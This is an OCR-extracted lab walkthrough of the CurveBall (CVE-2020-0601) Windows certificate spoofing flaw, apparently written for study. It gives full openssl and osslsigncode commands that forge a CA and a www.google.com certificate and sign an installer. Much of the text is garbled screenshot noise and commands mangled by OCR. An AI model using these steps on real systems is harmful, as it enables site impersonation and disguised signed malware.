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Introduction

CVE-2020-0601, referred to as CurveBall is a web browser security vulnerability in which
the signature of certificates using elliptic curve cryptography (ECC) is not correctly

verified. It was discovered and released by the NSA in 2020. The exploit targets Microsoft
CryptoAPI, the program library that handles cryptographic functions for the Windows 10
operating system. The vulnerability affects Internet Explorer, Microsoft Edge and Google

Chrome.

CVSS 3.x Severity and Metrics:

NIST: NVD
Base Score: 8.1 High
Vector: CVSS:3.1/AV: N/AC: L/PR: NJUI: R/S: U/C: H/I: H/A: N
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DESCRIPTION

A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dil) validates
Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the
vulnerability by using a spoofed code-signing certificate to sign a malicious

executable, making it appear the file was from a trusted, legitimate source.

ECC relies on different parameters. These parameters are standardized for many
curves. However, system didn't check all these parameters. The parameter "G (the
generator) was not checked, and the attacker can therefore supply their own generator,
such that when system tries to validate the certificate against a trusted CA, it'll only look

for matching public keys, and then use the generator of the certificate.

In order to yield the same public key to spoof the certificate, private key is set to 1
Public Key = Private Key * Generator

Public Key = Generator

Trusted public key is used as the generator of spoofing certificate; Generator is not

validated by system

"MicrosoftECCProductRootCertificateAuthority.cer” is by default a trusted root certificate
authority (CA) using ECC on Windows 10. Anything signed with this certificate will

therefore automatically be trusted.
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USAGE

e Create a certificate with the same public key and parameters of a trusted CA. This will be used as
spoofing CA.

e Setthe generator (G) to the public key (Q), and have a private key (d) set to T, since 'Q = dG'.

e Next, create a certificate signing request with the extensions to use, e.g., code signing or server
authentication.

e Sign this certificate request with your spoofed CA and CA key, and add the usage extensions.

e Bundle the signed certificate request (now a regular certificate) with the spoofed CA, and a signed
and trusted certificate is created.

e When Windows checks whether the certificate is trusted, it'll see that it has been signed by
spoofed CA. It then looks at the spoofed CA's public key to check against trusted CA's.

e Open newly signed certificate in Windows, itll not recognize it as trusted, since it hasn't been tied
to anything, thus it will not use the spoofed CA. The spoofed certificate must be installed in system

to implement vulnerability.

IMPLEMENTATION

e Files location - https://packetstormsecurity.com/files/author/14686/

e  Extract the public key from the trusted CA

e ruby main.rb ./MicrosofttCCProductRootCertificateAuthority.cer

e  Generate a new x509 certificate based on this key. This will be spoofed CA

e opensslreq -new -x509 -key spoofed _ca.key -out spoofed_ca.crt
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Activities (] Terminal

=1 p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-mas... Q

S 1s README.
openssl_cs.conf md
Imain.rb openssl_tls.conf
README .md
S ruby main.rb ./Microsof

tECCProductRootCertificateAuthority.cer
S -new -x509

-key spoofed_ca.key -out spoofed_ca.crt

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the fileld will be left blank.

Country Name (2 letter code) [AU]:IN

State or Province Name (full name) [Some-State]:DEL

Locality Name (eg, city) []:DEL

Oorganization Name (eg, company) [Internet Widgits Pty Ltd]:Test
Organizational Unit Name (eg, section) []:Test1

Common Name (e.g. server FQDN or YOUR name) []:test.com

Email Address []:abc@gmail.conmf]

e  Generate a new key. It will be used to create a code signing certificate, which we will sign with CA

openssl ecparam -name secp384rl -genkey -noout -out cert.key

e Next, create a new certificate signing request (CSR)

openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -regexts v3_tls

e Sign new CSR with spoofed CA and CA key. This certificate will expire in 2047, whereas the real
trusted Microsoft CA will expire in 2043. openssl x609 -req -in cert.csr ~-CA spoofed_ca.crt ~-CAkey
spoofed_ca.key -CAcreateserial -out cert.crt ~days 10000 -extfile openssl_tls.conf -extensions

v3_tls
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Pack the certificate, its key and the spoofed CA into a PKCSI2 file for signing executables. openssl
pkcsl2 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing” -out
cert.pl2

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only)

Player - il -

Activities ) Terminal « Aug 23 21:128 e

-

p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master Q

open cs.conft
openssl_tls.conf
README . md
3 S ruby mailn.rb . /MicrosoftECCProductRoot
CertificateAuthority. cer

into your certificate request.

wWhat you are about to enter s what s colled o Distinguished Name or & DN.
There are quite a few flelds but you can leave some blank

For some flelds there will be a default value,

If you enter ',.', the fleld will be lert blank.

Country Name (2 letter code) [AU]:IIN

State or Province Name (Tfull name) [Some-State]:DEL

Localilty Name (eg, city) []:0EL

Organization Name (eg, company) [Internet Widgits Pty Ltd]:Test
Organizational Unit Name (eg, section) [J:Test1

Common Name (e.g. server FQDN or YOUR name) []:test.com

Emall Address []:abc@gmatll.com

: S openssl req -new -x509 key spoofed ca
ey out spoofed ca.crt
You are about to be asked to enter information that will be incorporated

3 openssl ecparam name secp3sdaril genke
v noout out cert.key
: openssl req -new -key cert.key -out ce
rr.csr confilig openssl _cs.conf reqexts v3
Error Loading request extension section v3
2 openssl req new key cert. . key out ce
rt.csr -config openssl_tls.conf reqexts v3
H S openssl x509 req in cert.csr CA spo
ofed ca.crt CAkey spoofed ca.key CAcreatesertial out cert.crt days 10000 extfile openssl tl
s.conf extensions v3 _tls
signature ok
subjectsC DK, ST Denmark, 1L Copenhagen, O ollypwn, CN www.google.com
GCetting CA Private Key
H S openssl pkcsi2 export
nkey cert.key certfile spoofed ca.cr name “Code Signing” out cert.piz2
Enter Export
Verifying Enter Export Password:

s B

Sign your executable with PKCSI2 file. osslsigncode sign -pkcsl2 certpl2 -n "Signed” -in
721900-x64.exe -out 7z1900-x64 _signed.ex




Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - (W)
3 M )
Player v || ~ é@ 0, < [;

Activities () Terminal v Aug23 21:30 e

<1 p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master Q) —

You are about to be asked to enter information that will be incorporated
into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:IN
State or Province Name (full name) [Some-State]:DEL
Locality Name (eg, city) []:DEL
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Test
Organizational Unit Name (eg, section) []:Test1l
Common Name (e.g. server FQDN or YOUR name) []:test.com
Emaill Address []:abc@gmail.com
- S openssl ecparam -name secp3B84rl -genke
y -noout -out cert.key
: S openssl req -new -key cert.key -out ce
rt.csr -config openssl_cs.conf -regexts v3_tls
Error Loading request extension section v3_tls
: S openssl req -new -key cert.key -out ce

rt.csr -config openssl_tls.conf -reqexts v3_tls

: S openssl x509 -req -in cert.csr -CA spo

ofed_ca.crt -CAkey spoofed _ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tl

s.conf -extensions v3_tls

Signature ok

subject=C = DK, ST = Denmark, L = Copenhagen, O = ollypwn, CN = www.google.com

Getting CA Private Key
. S openssl pkcsi2 -export -in cert.crt -1

nkey cert.key -certfile spoofed ca.crt -name "Code Signing" -out cert.pi2

Enter Export Password:

Verifying - Enter Export Password:
: S 1s

721900-x64.exe README .md

cert.crt main.rb spoofed_ca.crt

cert.csr spoofed_ca.key

cert.key openssl_cs.conf spoofed_ca.srl

cert.pl2 openssl_tls.conf

- S osslsigncode sign -pkcsi2 cert.pi2
"Signed" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
Succeeded

In windows VM, navigate to C:\Windows \ System32\drivers\ etc \ hosts

Add IP address of Ubuntu VM and URL - https:/ /[www.google.com
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e  Files cert.crt’, "cert.key’, and ‘spoofed _ca.crt” are used to serve content. Add the spoofed_ca.crt as

a certificate chain in your server's HTTPS configuration. Configure “index.js” server file.
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Server is started in Ubuntu VM

&
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POV e - OeshlepVE 2300 0601 A VE-J000-0001 -masted

OEPONRS

[\

In Windows VM, open browser and navigate to https://www.google.com.

Error - “Your connection isn't private” is displayed
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Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only] - o X Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - o
Payer + |1 ~ @ T 15 B rae- ||-20K B
) Terminal v
x |+ - o x
p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master C A Notsea s = @ €

-/Desktop/CVE_2020_0601_A/CVE-...

721900-x64.exe
721900-x64_signed.exe
.crt
.csr
ke

tndex. js
matn.rb

README .
spoofed_ca.crt
spoofed_ca.key
spoofed_ca.srl
openssl_cs.conf

openss1_tls.conf

package-lock. Json

$ sudo node index.

<

P Type here to search

8@ O Typeheretosearch

Your connection isn't private

Attackers might be trying to steal your information from www.google.com (for example.

ords, messages, or credit cards).

Advanced

- G40 PW)|
C A @B g,

>

ENG 10:10
24-08-2021

(]

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only - o x Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - o
Player v || ~ & 5 « B Payer~ ||~ B
=) Terminal ~
. % EE
m p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master <N @ ™ s = ® @
p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-... About google.com [x ml
721900-X64. exe index. js README . nd
gned.exe main.rb spoofed_ca.crt
spoofed_ca.key
spoofed_ca.srl
openssl_cs.conf
openssl_tls.conf
package-lock. json
s sudo node index
§F Toacking pevention for this st Bisncee) (@D
3 www.google.com (for example
% 5 " \ = 409
8 | © Type here to search 1O H = > 6 €@ G R S Lpvaes!
< >

L Type here to search

S

AFE

R

ENG 10:10
24-08-2021
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Check certificate information. It is changed to the details of the spoofed certificate.

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only ™ o X Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - O X

Payer + | |1 ~ & B raer- |1~ 20 i « B

Activiti ) Terminal v

»

m P@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master 2 = C A No

p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-... buntu p/CVE_2020_0601_A/CVE o Certificate x ml

: Genersl Detals Certficaton Path
721900-x64.exe index README .nd

721900-x64_signed.exe main.rb spoofed_ca.crt
cert. spoofed 3R Certificate Information

7 = = B This certificate cannot be verified up to a trusted
ot 5 2 certification authority.

s sudo node index.js

Your connection isn't private

trying to steal your information from §

Issued to: wwnv.goog.com

&3

s, or credit

Issued by: test.com

Vald from §/23/2021 to 1/8/204

|
hosts - Notepad

41PN

W O Type here tosearch O H nmdLEE ST X = B

< >

1011

R Type here to search i 31°C AQI 90 24-08-2021

S 620 - VWAmare WErslaton 54 Funee (Moa Comvmril wse ondy Wrdows 10 ehd - ViMware Werkslaton 14 e (Nom-(ommerial vie Oy

POV - [Oeshlep/CVE_ 2300 0637 A VE-IDIS001 Mt 3 . A

POTBUAIW ~/Oesitap/CVE_I0I0 0401 A/CVE- ' - Cottumn x m

Your connection isn't private

e se metiage yecst cant
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The CA Root certificate is not trusted because it is not in the Trusted Root Certification Authorities store

G O e Sem

Your connection isn't private

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only e o X Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - o X

payer + | |1 ~ & 0 {9 < B e~ |1-2 08 «< B

) Terminal ~

0.

p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master  C C @ | A Notsscure | tape googlecom s ¢ 2 @
p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-... buntu: ~/Desktop/CV 0_0601_A/CV [ ml
s Ceidicate X General Detals Certficaton Path
index. js README . nd
Generdl Detals Certiic Certfication path
main.rb spoofed_ca.crt Oetals | Certification Path Certficaton path
spoofed_ca.key o test.com
) wwn.googie.com
spoofed_ca.srl R Certificate Information :
openssl_cs.conf
openssl_tl nf This CA Root certificate is not trusted. To enable trust,
package-lock. Json install this certificate in the Trusted Root Certification
$ sudo node index.js Authoriies store.
te
b from v
Issued to: test.com
View Certficate

Issued by: test.com

Certficate stats:

Thvs CA Root cerbficate s not Uusted because It & not 1 the Trusted Root
ICeraicaton Authorioes store.

= 42PN
30°C A G D) gy

W | O Type here tosearch O Hi T hd <)

< >

& 31°C AQI0 ~ O G D
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Export the certificate

POVUALE ~/Oeshiop/CVE 2000 0601 AKCVE-20000001-master O} oS

POVBUALY: ~/Oesitap/CVE_I0I0 0401 A/CVE- - :l

entcan lhgor Ward W s

Welcome 1o the Certificate Export Wizard

B Oww O Soe

Complating the Certificate Lxport Wizsed

B Nt Mty (AT P L VA LT s

- hs et P Srbeeng WG
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Install the spoofed certificate in Trusted Root Certification Authorities

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only)

3 Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only)
Payer ~ | ] ~ 2 T 19 Paver » | | - & [0 ¥

File Action View Help
o 2 7]
G Centficates - Current User

v 2 CAUSERS\P\DESKTOPVTEST | gy s o testcom
Certificates

ssued To Issued By

on Certificate

General Detals Certification Path

3§ Certificate Information

This CA Root certificate is not trusted. To enable trust,
install this certificate in the Trusted Root Certification
Authorities store.

Tssued to: test.com

Tssued by: test.com

Valid from §/23/2021 to 9/22/2021

Instal Certiicate. .

o | © Type here to search ) i ) ) ° (PN =KD
<

%:44PN)
8/23/200)
>

R Type here to search

10:14
24-08-2021 :‘
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CurveBall Windows CryptoAPI Spoofing

Open Browser - Internet Explorer and navigate to “https://www.google.com”

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only) - o X Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - 0 X
payer » | |] - @ T <« B raer- |I-2 0 < B
- o
@ googlecom
p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-2020-0601-master CVE-2020-0601 Vulnerability
p@ubuntu: ~/Desktop/CVE_2020_0601_A/CVE-...
721900-x64. exe
721900-x64_signed.exe
openssl_
package-lock. json
node index
P T ~ = 946 PN|
& | © Typeheretosearch . O M mnMad€CEC " 0C A G D) 4ol
< >

o = = 10:16
P Type here to search ] & 32°C AQI%0 A O : 24-08-2021 -

Spoofed CA is validated by web browser as Trusted Root CA and original https://www.google.com

content is replaced with the incorrect information as mentioned in “index.js” file.

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only - o x Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - o

player + || - & O §) «< B raer~ |l - S O & «< I

joogle.com

Index.js

1 const app = require( YO;
2 const htt; require( H
3 const fs = require( bH
a

CVE-2020-0601 Vulnerability

5 //GET home route o Centficate x
.get('/', (req, res) => {
res.send( I ) General Detads Certficaton Path

s T

10 https.createserver({ =]
key: fs.readFilesync( Yo —a) vewn. oo com
cert: fs.readFilesync( Y
ca: [
fs.readFilesync( )
]
16 }, app)

17 .Uisten(443);

View Corttcate
Certhate stans:
T cerohiate = O

e hera't ;= sy 6 A = 47PN

&8 | © Type here to search . O H = ha @ 2 [ 30C A & B g

< >

Tab width: 8 v Ln7,cCol24

Javascript ¥
10:17

L=l o, A ) G
- g W & 32°C AQI 90 - ENG L 0g2001
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CVE-2020-0601 - Windows incorrect ECC certificate validation vulnerability is implemented.

Ubuntu 64-bit - VMware Workstation 16 Player (Non-commercial use only! - o X Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only) - o0 X

Payer » ] ~ & T 19 < B raer- |1~ @ TS « B

(@ Text Editor v Aug23 21
o 2 nups: google.com ~ & C | Search P~

i8 o & v

. Indexjs

@ google.com
1 const app = require( o 2 ]
3 const https = require( CVE-2020-0601 Vulnerability
3const fs = require( );
a
5 //GET home route a Certificate X
6 app.get('/', (req, res) => {
7 res.send( ) ); Genersl Detads Cersficaton Path

81});
9

10 https.createServer({ f (Centificate Information

key: fs.readFilesync( Y
cert: fs.readFilesync( ), This certbcate b ntended for the folowing purpose(s)
ca: «Encures the idensty of 3 remote computer
fs.readFilesync( )
]
16}, app)

17 .listen(443);
Issued to: www.google.com
Issued by: test.com

Valid from 3/23/2021 to 1/8/204

47PN

w o T(L‘r?‘vr'r'.o)-:cﬂ([\Y O H w b ¢ e : 0C A B D) g

< >

s = 10:17
R Type here to search i - bH ® 32°C AQI90 ~ O E DA 7z ENG 24-08-2021 ]

PREVENTION

Microsoft Windows 2020 updates had been released to patch CVE-2020-0601 vulnerability
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